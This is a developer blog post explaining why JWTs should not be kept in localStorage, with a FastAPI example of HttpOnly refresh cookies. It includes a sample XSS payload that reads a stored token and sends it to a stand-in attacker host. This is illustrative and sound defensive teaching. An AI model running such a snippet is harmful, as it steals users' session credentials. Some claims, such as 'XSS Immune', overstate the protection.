DEV Community

Cover image for Why You Should Stop Storing JWTs in LocalStorage: A Practical Auth Strategy
DEVANSHU PATIL
DEVANSHU PATIL

Posted on AI-assisted

Why You Should Stop Storing JWTs in LocalStorage: A Practical Auth Strategy

Why You Should Stop Storing JWTs in LocalStorage

Browse through modern web development tutorials, and you will see the same recurring pattern in React, Vue, and Next.js guides:

// A common but dangerous pattern:
const response = await api.login(email, password);
localStorage.setItem('access_token', response.data.token);
Enter fullscreen mode Exit fullscreen mode

It feels simple, works across tabs, and seems convenient. But in production, storing sensitive authentication credentials in window.localStorage creates a critical security vulnerability.

In this article, we will examine why localStorage is fundamentally flawed for session storage and walk through the industry-standard architecture: In-Memory Access Tokens backed by HttpOnly, SameSite Refresh Cookies.


The Vulnerability: Cross-Site Scripting (XSS)

localStorage has zero access controls against JavaScript running on your origin. Any script running on your webpage—whether it is your code, an analytics tag, or an infected npm dependency—can read localStorage:

// Attacker's XSS payload:
const stolenToken = localStorage.getItem('access_token');
fetch('https://attacker-c2.com/harvest', {
    method: 'POST',
    body: JSON.stringify({ token: stolenToken })
});
Enter fullscreen mode Exit fullscreen mode

If an attacker injects a single snippet of malicious JavaScript, every user's session token can be exfiltrated within milliseconds.


The Superior Pattern: HttpOnly Cookies + In-Memory Tokens

To protect tokens from JavaScript access, web browsers provide the HttpOnly cookie flag. When a cookie has the HttpOnly flag:

  • The browser automatically attaches it to outgoing HTTP requests to the target domain.
  • JavaScript code CANNOT read or manipulate the cookie. document.cookie returns nothing!
+--------------------------------------------------------------------+
| Secure Token Flow:                                                 |
|                                                                    |
| 1. Short-Lived Access Token (15 min)  -> Stored in JS MEMORY ONLY  |
| 2. Long-Lived Refresh Token (7 days)  -> Stored in HttpOnly COOKIE |
+--------------------------------------------------------------------+
Enter fullscreen mode Exit fullscreen mode

Implementation: FastAPI Backend

from datetime import datetime, timedelta
from fastapi import FastAPI, HTTPException, Response, Cookie, status
import jwt

SECRET_KEY = "your-ultra-secure-server-secret"
ALGORITHM = "HS256"

app = FastAPI()

def create_jwt(payload: dict, expires_delta: timedelta):
    to_encode = payload.copy()
    to_encode.update({"exp": datetime.utcnow() + expires_delta})
    return jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM)

@app.post("/api/auth/login")
def login(response: Response):
    user_id = "user_42"

    # 1. Short-lived Access Token (15 mins)
    access_token = create_jwt({"sub": user_id, "type": "access"}, timedelta(minutes=15))

    # 2. Long-lived Refresh Token (7 days)
    refresh_token = create_jwt({"sub": user_id, "type": "refresh"}, timedelta(days=7))

    # 3. Store Refresh Token in HttpOnly, SameSite, Secure Cookie
    response.set_cookie(
        key="refresh_token",
        value=refresh_token,
        httponly=True,       # Inaccessible to JavaScript (XSS Immune!)
        secure=True,         # Only sent over HTTPS
        samesite="lax",      # Protects against CSRF
        max_age=7 * 24 * 3600,
        path="/api/auth/refresh" # Only sent to the refresh endpoint!
    )

    return {"access_token": access_token, "expires_in": 900}
Enter fullscreen mode Exit fullscreen mode

Security Takeaway

By moving tokens out of localStorage:

  • Malicious scripts cannot harvest session keys.
  • SameSite=Lax or Strict prevents Cross-Site Request Forgery (CSRF).
  • Rotating refresh tokens ensures that any revoked user session terminates immediately.

Top comments (0)